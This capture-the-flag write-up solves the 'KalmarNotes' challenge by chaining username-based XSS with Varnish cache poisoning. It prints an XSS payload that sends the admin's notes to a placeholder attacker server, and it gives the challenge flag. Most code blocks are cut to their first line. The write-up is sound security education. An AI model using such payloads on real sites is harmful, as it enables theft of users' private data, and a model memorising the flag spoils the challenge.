Kalmar CTF 2025 - KalmarNotes (XSS, Cache Poisoning)
Title: KalmarNotes (51 solves)
Description: Every CTF needs a note taking challenge, here is ours.
Attachment: kalmarnotes.zip
The challenge provided the full source code! I’ll introduce my approach to solve it. Let’s dive in together.
Analysis
The project structure of the challenge is as follows:
1 | src - templates |
I first examined admin_bot.py
because its name caught my attention. After reviewing the file, I suspected that this challenge was related to XSS (Cross-Site Scripting)
. The final goal was to obtain the flag. So, the first step was to check where the flag was stored in the source code.
1 | admin_pass = 'admin' |
According to the database structure, the flag is stored in the notes
table, and it was written there by the admin
.
This challenge includes several functionalities:
- Register / Login
- Create a Note – After registering and logging in, users can create notes.
- Read Notes – Only the author of a note can access and read it.
- Notes can be viewed in two formats: short and long.
- Report a Note via
/api/report
API
The most interesting functionality is the fifth one.
1 | # app.py |
The report_note()
function handles POST requests to the /api/report
endpoint. It accepts a JSON object containing a url
and then calls the visit()
method of admin_bot
, passing url
as an argument. If it’s successful, it returns a success message. Otherwise, it returns an error message with a 500 status code.
1 | # admin_bot.py - AdminBot class |
Inside the AdminBot
class, the visit()
function performs the following steps:
- Calls
self.login()
to log in as the admin. - Navigates to the provided
note_url
usingself.driver.get(note_url)
.
Since only the note’s author can access a note, only the admin can read the flag.
I know that this type of code pattern is a characteristic of an XSS challenge. Then, Where is the XSS point?
XSS
1 | <!-- view_note_long.html --> |
I checked for potential XSS
.
notes
are properly escaped when rendered, preventing XSS as follow codes.- However,
usernames
are not sanitized, making them vulnerable to XSS.
1 | # db.py |
As a result, XSS
can be triggered when accessing /note/<int:note_id>/long
. However, this only leads to self-XSS
, meaning it affects only me and does not help obtain the flag.
Since only the author can access their own notes, reporting a note will not make the admin visit and trigger the XSS
on my note. Let’s check this part in the code.
1 | # db.py - get_note_by_id(self, note_id, user_id) |
Cache Poisoning
When read a note
, the system verifies whether the person reading the note (the currently logged-in user) is the same as the person who created it. At this point, I noticed default.vcl
, which is a configuration file for Varnish
. Varnish
is a proxy, similar to Nginx
.
1 | vcl 4.0; |
This configures caching behaviour for a backend server running on 127.0.0.1:3000
. In vcl_recv
, It checks if the request is for static assets shuch as js
, css
, png
, or gif
. If it’s for static assets, sets Cache-Control: max-age=10
to cache the response for 10 seconds. And calls hash
, which determines if the request should be served from the cache.
The issue is in vcl_hash
, req.url
is used as the cache key and includes the query parameters. For example, if req.url
is https://callenge.com/note/1234/long.js
, it could be cached as if it were a static file. As a result, unintended pages might be cached.
The strategy is to register an account with an XSS
payload that will make the admin visit my web server, allowing me to extract the admin’s note containing the flag. Then, I create a new note and report it, ensuring that the admin reads the note. During this process, I need to obtain a token
and the note_id
. The details of these steps can be found in the exploit code.
This is the example of the XSS payload to create an account.
1 | <script>fetch('/api/notes').then(res => res.text()).then(x => fetch('https://[YOUR-SERVER]?a='+btoa(x)))</script> |
Solution Summary
- Register with an XSS payload in the username – This payload will make the admin visit my server.
- Log in and obtain a token – Needed to interact with the API.
- Create a new note
- Extract the note_id – The created note must be reported to the admin.
- Poison the cache
- Report the note – This forces the admin to visit the poisoned page(=created note), triggering the XSS.
Once the XSS executes, it will send the admin’s note (containing the flag) to my server.
Exploit Code
1 | import requests, random |
Flag
1 | kalmar{c4ch3_m3_0ut51d3_h0w_b0w_d4h} |